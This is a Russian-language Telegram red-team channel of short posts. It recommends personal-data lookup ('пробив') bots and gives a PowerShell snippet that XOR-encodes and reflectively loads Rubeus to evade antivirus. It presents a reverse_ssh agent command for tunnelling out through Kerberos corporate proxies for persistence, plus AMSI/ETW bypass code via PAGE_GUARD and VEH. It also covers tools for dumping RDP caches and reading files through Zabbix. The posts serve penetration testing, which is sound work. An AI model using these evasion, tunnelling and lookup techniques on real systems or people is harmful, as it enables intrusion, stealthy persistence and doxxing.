Pentester`s Notes
417 subscribers
52 photos
2 videos
31 files
143 links
Download Telegram
This media is not supported in the widget
VIEW IN TELEGRAM
Pentester`s Notes
This media is not supported in the widget
VIEW IN TELEGRAM
Боты для "пробива":
1. Духлес
2. Юзерсбокс

#пробив
1👍1
Please open Telegram to view this post
VIEW IN TELEGRAM
Чтобы было под рукой.
$key = [byte][char]'A'; [byte[]]$data = Get-Content "C:\users\lab\desktop\redteam\Rubeus.exe" -Encoding Byte; $xored = $data | ForEach-Object { $_ -bxor $key }; [Convert]::ToBase64String($xored) | Set-Content "encoded.txt"

$key = [byte][char]'A'; $b64 = Get-Content "encoded.txt"; $bytes = [Convert]::FromBase64String($b64); $decoded = $bytes | ForEach-Object { $_ -bxor $key }; [System.Reflection.Assembly]::Load([byte[]]$decoded)


#xor #encode #bypass
🔥1😍1
Кто до сих пор думает, что айтишники много получают... вот типичный представитель redteam-команды.
Forwarded from MilyaS Vlog 🕊
Реалии айтишника
2🔥9😱3🤣2
Всем привет!
Когда-то мы с ребятами из RTB обсуждали возможность релея на HTTPS и наличие EPA. Мы остановились на том, что пока нет утилит для получения информации о наличии данного механизма и его статусе.
Так вот, ребята из specterops поресерчили и выкатили статью и утилиту для исследования HTTPS и MSSQL.

https://specterops.io/blog/2025/11/25/less-praying-more-relaying-enumerating-epa-enforcement-for-mssql-and-https/

Тулза
https://github.com/zyn3rgy/RelayInformer
1👍4🔥4
👋 Всем привет!

Сталкивались с ситуацией, когда в организации грамотно настроен выход в интернет?

Сценарий такой:
🔒 По умолчанию доступ в интернет с хостов запрещен.
🌐 Есть корпоративный прокси-сервер с обязательной аутентификацией.
🤔 Да ещё и только по протоколу Kerberos (Negotiate), и не каждому пользователю разрешён выход.

Итак, что делать, если вы получили доступ к хосту от имени доменного пользователя, которому разрешён выход в интернет? Мне сразу же хочется пробросить сессию наружу, запроксироваться и закрепиться тихо и надолго. 😄

💡 Поиск решения
Я перебрал много известных инструментов, но не нашёл ничего подходящего. Большинство решений поддерживают только NTLM или Basic аутентификацию, либо вообще не умеют работать с прокси.

Пришла идея написать небольшой прокси-сервер-прослойку, который бы принимал соединения без аутентификации и сам проходил её на корпоративном прокси. Но встал вопрос: откуда брать учетные данные?

🛠 Первые шаги
Нашёлся старый, но рабочий репозиторий — win-auth-proxy (ссылка). Автор реализовал извлечение дескриптора учётных данных из текущей сессии пользователя с помощью winapi функции AcquireCredentialsHandle, а затем использовал InitializeSecurityContext для аутентификации на проксе.

Скомпилировал его, почти ничего не меняя, и — о чудо, всё завелось! Но тащить два бинаря на хост показалось не очень элегантным решением.

🚀 Идеальный инструмент
Тут я вспомнил про замечательный инструмент reverse_ssh (ссылка). Он тихий и поддерживает всё, что нужно:
- Интерактивную сессию
- Проксирование
- Проброс портов
- Передачу файлов

В общем, всё, что может обычный SSH. Я форкнул репозиторий и добавил необходимые доработки для аутентификации на прокси с использованием текущих учётных данных пользователя Windows.

Отдельно стоит упомянуть гибкость транспортов. Инструмент умеет работать не только по чистому TCP, но и заворачивать трафик в HTTP, HTTPS, TLS, WS (WebSocket) и WSS. Это критически важно для обхода DPI и маскировки под легитимный веб-трафик в жестко контролируемых сетях.

Позже один молодой эксперт (nollium) доработал инструмент, добавив аутентификацию через NTLM с указанием кредов. Что удобно для запуска, например с linux систем.

💪 Финальный штрих
Я столкнулся с проблемой, когда прокси-сервер находится в одном домене AD, а пользователь — в другом. Происходила ошибка из-за неверного выбора realm. Эту проблему я тоже исправил.

Чтобы использовать фичу, достаточно добавить флаг --use-kerberos при генерации агента:
link --https --name main_agent --use-kerberos --proxy http://proxy.example.com:8080 --goos windows


Теперь у нас есть мощный инструмент, который поможет пробить стену!

PS. Все изменения уже доступны в оригинальном репозитории. Пользуйтесь на здоровье!

#pentest #redteam #proxy #kerberos #ssh #infosec #bypass #auth #negotiate
🔥83👨‍💻2👍1
Всех сердечно поздравляю с Рождеством Христовым!

Ещё 7 числа поздравлю.
112
Please open Telegram to view this post
VIEW IN TELEGRAM
13🔥8
Выкатил PR в NetExec: модуль rdpcache — вытаскиваем и разбираем RDP Bitmap Cache с удалённых Windows по SMB.

Если коротко: RDP-кэш — это 64×64 тайлы (фрагменты экрана), которые клиент складывает «для оптимизации». Иногда эта оптимизация оптимизирует ещё и расследование: в тайлах остаются куски UI, имена файлов/окон, элементы интерфейса и фрагменты вывода команд.

Что делает модуль:
- Enum RDP-настроек из реестра: client/server конфиг, NLA, порт.
- Достаёт историю RDP-коннектов (MRU) из всех пользовательских профилей.
- Скачивает Cache*.bin и bcache*.bmc, парсит, режет в 64×64 и собирает коллажи для быстрого просмотра (опционально).

Как использовать:
# enum (default)
nxc smb <target> -u <user> -p <pass> -M rdpcache

# dump + извлечение и коллаж
nxc smb <target> -u <user> -p <pass> -M rdpcache -o ACTION=dump


Опции (если хочется аккуратно автоматизировать под себя):
- OUTPUT=...
- USERS=all|user1,user2
- COLLAGE=False (если не хочется «обоев»)
- COLLAGE_WIDTH=24
- SMART=True (сортировка тайлов по яркости — визуально быстрее выцеплять полезное)

pillow нужен только если генерировать картинки/коллажи.

PR: https://github.com/Pennyw0rth/NetExec/pull/1075

#redteam #pentest #netexec #rdp #dfir
15🔥4👍3
Всем привет!
На одном redteam‑проекте я в бою раздобыл low‑priv учётку в Zabbix.
Вспомнил давние изыскания Zer0Way про заббикс.

Выяснилось, что на винде агент Zabbix крутится от SYSTEM (в данном конкретно случае), и "посмотреть метрики" внезапно превращается в "а давай-ка аккуратно посмотрим файлики". 📁

Первые попытки делать это через веб‑морду были в духе "суп вилкой": вроде возможно, но удовольствие сомнительное. Поэтому я на коленке, с помощью ИИ, слепил себе нормальный терминальный интерфейс, чтобы не кликать по тысяче экранов ради одного конфига.

И, конечно, кульминация максимально жизненная: на терминальном сервере админов нашёлся пароль в обычном текстовом файле. 🔐
Ну а дальше — по накатанной...

Итак, Zabbix-FM — терминальный файловый менеджер для просмотра и скачивания файлов с удалённых хостов через Zabbix-сервер, используя механизм item.test (тот же, что кнопка Test в web‑UI).

Ограничения ⚙️
- Лимит размера: 64 KB по умолчанию (MaxItemSize), можно увеличить до 16 MB в zabbix_agentd.conf.
- Read‑only: запись файлов не поддерживается.
- Нужны API Token + логин/пароль от фронта (для item.test требуется роль Super Admin).
- Недодебажил моменты с кодировкой, а также кажется не грузит бинарные файлы. Хотя вроде пробовал в base64 указывать кодировку.

Может быть когда-нибудь допилю до чего-то более масштабного ;-)

https://github.com/durck/zabbix_fm
https://github.com/durck/zabbix_fm
https://github.com/durck/zabbix_fm

#zabbix #redteam #pentest #recon #python #windows #sysadmin
5🔥5🤗2👍1👨‍💻1😘1
Всем привет!
Все сталкивались с ситуациями, когда в корпоративной среде используются в качестве ядра DFS (Distributed File System). Стандартный базовый инструмент для прогулки по корпоративным ресурсам (в обычном пентесте, про redteam ничего не говорю) - smbclient.py в impacket. Соответственно, при попытке перейти в DFS-директорию (когда папка физически располагается на другом файловом ресурсе), получали ошибку STATUS_PATH_NOT_COVERED.

Так вот, доработал его для полноценной поддержки DFS

Что умеет:
- ls помечает DFS-ссылки как [DFS]
- dfs_info <dir> показывает referral: targets + TTL
- cd <DFS-папка> (в режиме follow) сам делает переподключение к target и продолжает навигацию
- Nested DFS любой глубины (стек контекстов)
- Multi-target failover: упал target → пробуем следующий
- Health-check + auto-reconnect для кэшированных коннектов
- Корректная навигация через границы DFS-root: cd .., cd ../.., cd ../../other
- Работает и с Kerberos, и с NTLM (учётки переиспользуются)
- Кэширование подключений

OPSEC (важно):
Автоматическое подключение к другому файловому хранилицу по-умолчанию выключено — чтобы не шуметь лишний раз.

Включение:
# CLI: 
-dfs-follow # (разрешить автоматический переход по DFS при cd)

# В шелле:
dfs_mode on # (включить follow-режим в интерактивной сессии)


Мини-пример:
# ls
Projects [DFS]

# dfs_info Projects
Target: \\fileserver-01\Projects$ (TTL: 300)

# dfs_mode on
# cd Projects
[*] DFS target: \\fileserver-01\Projects$


Реализация на уровне протокола: FSCTL_DFS_GET_REFERRALS (MS-DFSC).

https://github.com/durck/impacket
https://github.com/durck/impacket
https://github.com/durck/impacket

#impacket #smb #dfs #pentest #redteam
110🔥3👾1
🛡 AMSI Bypass via Page Guard

Patchless-техника обхода AMSI — без перезаписи байтов AmsiScanBuffer и без hardware breakpoints в базовом варианте.

Суть: через NtProtectVirtualMemory на страницу памяти, содержащую AmsiScanBuffer, ставится PAGE_GUARD. При доступе к этой странице возникает STATUS_GUARD_PAGE_VIOLATION, который перехватывается через VEH.

Если исключение пришло именно на AmsiScanBuffer, хэндлер подменяет результат на AMSI_RESULT_CLEAN и делает early return, эмулируя завершение функции без патча её байтов.

Так как guard-page — одноразовая ловушка, после первого срабатывания защита снимается. Поэтому в обработчике дополнительно используется Trap Flag: затем ловится STATUS_SINGLE_STEP, и PAGE_GUARD навешивается повторно.

Итог: байты функции остаются нетронутыми, а Dr0–Dr3 в этом варианте не используются, поэтому исчезают артефакты, характерные для inline patching и классических HWBP-обходов. Но это не означает «недетектируемость» вообще — современные поведенческие детекты всё ещё возможны.

В улучшенном варианте (VEH²) hardware breakpoint выставляется прямо через CONTEXT.Dr* внутри самого VEH, без вызова SetThreadContext / NtSetContextThread. Это убирает один из заметных telemetry-path, на который отдельно обращают внимание исследователи.

📖 Research
🔗 shigshag.com/blog/amsi_page_guard
🔗 crowdstrike.com/blog/crowdstrike-investigates-threat-of-patchless-amsi-bypass-attacks/

💻 PoC
🔗 github.com/vxCrypt0r/AMSI_VEH
🔗 fluxsec.red/veh-squared-rust

#amsi #evasion #redteam #windows #maldev
1🔥8👏2
🛡 AMSI + ETW bypass via PAGE_GUARD + VEH

Написал реализацию на C++ техники из shigshag.com/blog/amsi_page_guard (спасибо ИИ😁)

Вместо патча байт функции — ставим PAGE_GUARD на страницу
AmsiScanBuffer. CPU кидает STATUS_GUARD_PAGE_VIOLATION до исполнения
первой инструкции. VEH перехватывает, пишет AMSI_RESULT_CLEAN в
output-параметр, эмулирует return. Trap Flag переприменяет PAGE_GUARD
через STATUS_SINGLE_STEP.

Расширил до generic движка — одним вызовом накрываем несколько таргетов:
• AmsiScanBuffer (amsi.dll) — результат всегда CLEAN
• EtwEventWrite (ntdll.dll) — телеметрия тихо дропается

Vs hardware breakpoints (DR0-DR7):
→ не трогаем debug-регистры (ниже detection surface)
→ не нужно ставить BP на каждый новый поток
→ байты функции не модифицируются (integrity checks проходят)

github.com/durck/amsi-pageguard-veh

#maldev #redteam #windows #amsi
❤‍🔥4🔥1
В общем, есть такой скрипт - ultimate_nmap_parser (как-то так). Он парсит результаты nmap (в формате gnmap) и выдаёт файл, содержащий ip:port. Работает достаточно долго. Я написал однострочник, который работает во много-много раз быстрее.

for i in `cat networks.gnmap | grep '/open/' | awk '{print $2}'`; do for j in `cat networks.gnmap | grep $i' ' | grep -oP '\d+(?=/open/)'`; do echo $i:$j >> ip_port.txt; done; done


#Заметки #oneliner #everyday
1👍9🔥2
Forwarded from PT SWARM
🧑‍🚒 Our researcher Mikhail Sukhov shares his knowledge and experience in analyzing FreeIPA environments.

He also introduces his new tool, IPAHound 💪

Go ’n see the details ➡️ https://swarm.ptsecurity.com/thinking-in-graphs-with-ipahound/
1👍1🔥1
Выкатил небольшую тулзу для анализа AppLocker-политик — AppLocker Viewer 🛠.

Суть:
Скармливаете ей XML от Get-AppLockerPolicy, и она сразу показывает, где защита реально держит периметр, а где админы оставили удобные форточки для обхода 🔓.

Что внутри:
- CLI для парсинга, фильтрации и выгрузки результатов в таблицу, JSON или CSV 📊.
- Поиск рисков (сразу подсветит writable paths, слишком широкие маски, LOLBins и правила в AuditOnly) ⚠️.
- Diff двух политик — удобно смотреть, что поменялось «до/после» 🔄.
- Автономный HTML-вьювер — работает прямо в браузере, без серверов и зависимостей 🌐. Поддерживает drag-n-drop, пресеты и AND/OR-фильтры.

Всё работает полностью офлайн, данные никуда не стучат 🔇.
Отлично зайдет для red team, аудитов, ревью харденинга или просто чтобы быстро разобраться, что происходит с политиками на проекте 🛡.

🔗 Забирать тут: github.com/durck/applocker-viewer
🔥7